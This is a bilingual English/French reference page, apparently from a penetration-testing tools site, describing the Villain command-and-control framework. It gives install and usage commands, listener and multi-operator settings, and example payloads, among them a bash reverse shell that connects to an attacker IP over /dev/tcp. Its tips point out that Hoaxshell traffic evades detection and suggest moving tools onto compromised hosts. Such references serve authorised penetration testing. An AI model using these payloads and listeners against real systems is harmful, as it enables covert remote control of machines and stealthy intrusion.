← retour aux outils back to tools

# villain

Framework C2 pour gérer les reverse shells et les sessions basées sur Hoaxshell. Supporte les cibles Windows et Linux, les upgrades de shell, et la collaboration multi-opérateur. C2 framework for managing reverse shells and Hoaxshell-based sessions. Supports Windows and Linux targets, shell upgrades, and multi-operator collaboration.

↗ https://github.com/t3l3machus/Villain

## Overview

Villain is a C2 framework designed to manage reverse shell connections and Hoaxshell-based sessions. It supports Windows and Linux targets, offers shell upgrades (raw → pseudo-interactive), and supports team collaboration with multiple operators. Lighter than full C2 frameworks — focused on shell management.

## Installation

    git clone https://github.com/t3l3machus/Villain
    cd Villain
    pip3 install -r requirements.txt

## Basic Usage

Start Villain (default: listen on 0.0.0.0)

    python3 Villain.py

Start with specific port

    python3 Villain.py -p 6705

Backdoor listener on specific port

    python3 Villain.py -x 8888

Multi-user mode (allow team connections)

    python3 Villain.py -u admin -P 8000

## Villain Shell Commands

    # Inside the Villain console:

    generate     → Generate reverse shell payload
    sessions     → List active sessions
    use <id>     → Interact with a session
    kill <id>    → Terminate a session
    upload       → Upload file to session
    download     → Download file from session
    help         → Show help

## Generating Payloads

Inside Villain console:

    generate

→ Then choose: OS: windows or linux Payload type: tcp, hoaxshell, etc. Encoding and obfuscation options

Example Windows payload generated:

    powershell -e <BASE64_ENCODED_PAYLOAD>

Example Linux payload:

    bash -c 'bash -i >& /dev/tcp/10.10.10.50/6705 0>&1'

## Listeners

    # Villain automatically opens listeners
    # Default backdoor port: 6705 (shell connections)
    # Default server port: 8888 (Hoaxshell HTTP)

Set your attacker IP

    python3 Villain.py -s 10.10.10.50

Use SSL for encrypted channels

    python3 Villain.py --ssl

## Multi-Operator (Team Mode)

Start Villain as server

    python3 Villain.py -u admin -P 65535

Connect as operator from another machine

    python3 Villain.py -c 10.10.10.50 -P 65535

→ Enter: admin (or configured user)

## Hoaxshell Integration

    # Villain integrates Hoaxshell for HTTP-based shells
    # When a session connects via Hoaxshell:
    # - Traffic looks like normal HTTP
    # - Uses chunked transfer for commands/responses
    # - Harder to detect than raw TCP shells

Generate Hoaxshell payload from Villain console:

    generate

→ → Select: Windows → Hoaxshell

## Tips

- Villain is best for quick shell management without full C2 overhead
- Hoaxshell sessions blend into normal HTTP traffic
- Use `upload` to transfer tools to compromised hosts without writing to disk paths
- For larger engagements, graduate to Sliver or Havoc for full C2 capability

Help / Man page

    python3 Villain.py [options]

    -p PORT       Backdoor listener port (default: 6705)
    -x PORT       Hoaxshell listener port (default: 8888)
    -s IP         Your server IP for payload generation
    -c HOST       Connect to remote Villain instance (team mode)
    -P PORT       Team server port
    -u USER       Username for team mode
    --ssl         Enable SSL
    --certfile    SSL cert file
    --keyfile     SSL key file

## Vue d’ensemble

Villain est un framework C2 conçu pour gérer les connexions reverse shell et les sessions basées sur Hoaxshell. Il supporte les cibles Windows et Linux, propose des upgrades de shell (brut vers pseudo-interactif), et supporte la collaboration en équipe avec plusieurs opérateurs. Plus léger que les frameworks C2 complets : focalisé sur la gestion de shells.

## Installation

    git clone https://github.com/t3l3machus/Villain
    cd Villain
    pip3 install -r requirements.txt

## Utilisation de base

    # Démarrer Villain (par défaut : écoute sur 0.0.0.0)
    python3 Villain.py

    # Démarrer avec un port spécifique
    python3 Villain.py -p 6705

    # Listener de backdoor sur un port spécifique
    python3 Villain.py -x 8888

    # Mode multi-utilisateur (autoriser les connexions en équipe)
    python3 Villain.py -u admin -P 8000

## Commandes de la console Villain

    # Dans la console Villain :

    generate     → Générer un payload de reverse shell
    sessions     → Lister les sessions actives
    use <id>     → Interagir avec une session
    kill <id>    → Terminer une session
    upload       → Envoyer un fichier vers la session
    download     → Récupérer un fichier depuis la session
    help         → Afficher l'aide

## Génération de payloads

Dans la console Villain :

    generate

Puis choisir : OS (windows ou linux), type de payload (tcp, hoaxshell, etc.), options d’encodage et d’obfuscation

Exemple de payload Windows généré :

    powershell -e <BASE64_ENCODED_PAYLOAD>

Exemple de payload Linux :

    bash -c 'bash -i >& /dev/tcp/10.10.10.50/6705 0>&1'

## Listeners

    # Villain ouvre automatiquement des listeners
    # Port de backdoor par défaut : 6705 (connexions shell)
    # Port serveur par défaut : 8888 (Hoaxshell HTTP)

    # Définir votre IP attaquante
    python3 Villain.py -s 10.10.10.50

    # Utiliser SSL pour des canaux chiffrés
    python3 Villain.py --ssl

## Multi-opérateur (mode équipe)

    # Démarrer Villain en tant que serveur
    python3 Villain.py -u admin -P 65535

    # Se connecter en tant qu'opérateur depuis une autre machine
    python3 Villain.py -c 10.10.10.50 -P 65535

Saisir : admin (ou l’utilisateur configuré)

## Intégration Hoaxshell

    # Villain intègre Hoaxshell pour les shells basés sur HTTP
    # Quand une session se connecte via Hoaxshell :
    # - Le trafic ressemble à du HTTP normal
    # - Utilise le transfert par chunks pour les commandes/réponses
    # - Plus difficile à détecter que les shells TCP bruts

Générer un payload Hoaxshell depuis la console Villain :

    generate

Puis sélectionner : Windows → Hoaxshell

## Conseils

- Villain est idéal pour une gestion rapide de shells sans la lourdeur d’un C2 complet
- Les sessions Hoaxshell se fondent dans le trafic HTTP normal
- Utiliser `upload` pour transférer des outils vers des hôtes compromis sans écrire sur des chemins disque
- Pour des missions plus importantes, passer à Sliver ou Havoc pour des capacités C2 complètes

Aide / Page de manuel

    python3 Villain.py [options]

    -p PORT       Backdoor listener port (default: 6705)
    -x PORT       Hoaxshell listener port (default: 8888)
    -s IP         Your server IP for payload generation
    -c HOST       Connect to remote Villain instance (team mode)
    -P PORT       Team server port
    -u USER       Username for team mode
    --ssl         Enable SSL
    --certfile    SSL cert file
    --keyfile     SSL key file